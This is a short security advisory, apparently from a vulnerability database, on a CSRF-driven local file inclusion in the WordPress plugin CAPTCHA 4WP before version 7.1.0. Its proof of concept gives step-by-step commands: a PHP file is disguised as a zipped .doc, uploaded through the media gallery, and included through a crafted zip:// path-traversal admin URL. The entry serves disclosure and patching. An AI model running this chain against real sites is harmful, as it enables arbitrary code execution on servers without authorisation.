WordPress Plugin Vulnerabilities
CAPTCHA 4WP < 7.1.0 - Local File Inclusion via CSRF
Description
The plugin lets user input reach a sensitive require_once call in one of its admin-side templates. This can be abused by attackers, via a Cross-Site Request Forgery attack to run arbitrary code on the server.
Proof of Concept
1) Create a malicious PHP script $ echo '<?php phpinfo();' > shell.php 2) Add it to a fake .doc file, who will actually be a zip file $ zip malicious.doc shell.php 3) While logged-in as an Author, upload the "doc" file via WP's media gallery. 4) Have an administrator visit the following URL: httsp://example.com/wp-admin/admin.php?page=c4wp-admin-help&tab=zip://../wp-content/uploads/2022/06/malicious.doc%23shell
